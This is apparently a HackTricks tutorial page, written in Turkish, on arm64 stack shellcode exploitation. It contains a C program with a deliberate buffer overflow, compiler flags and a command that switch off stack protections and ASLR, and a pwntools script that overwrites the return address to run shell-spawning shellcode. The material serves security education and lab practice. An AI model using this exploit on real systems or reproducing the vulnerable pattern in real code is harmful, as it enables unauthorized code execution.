Stack Shellcode - arm64

HackTricks'i Destekleyin

arm64'e giriş için şurayı bulun:

Introduction to ARM64v8

Kod

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Derleme işlemini pie, canary ve nx olmadan yapın:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

ASLR Yok & Canary Yok - Stack Overflow

ASLR'yi durdurmak için:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bof ofsetini bulmak için bu bağlantıya bakın.

Sömürü:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Burada bulunması "karmaşık" olan tek şey, çağrılacak yığın adresidir. Benim durumumda, gdb kullanarak bulunan adresle istismarı oluşturdum, ancak daha sonra bunu istismar ederken çalışmadı (çünkü yığın adresi biraz değişti).

Oluşturulan core dosyasını açtım (gdb ./bog ./core) ve shellcode'un başlangıcının gerçek adresini kontrol ettim.

Support HackTricks

Last updated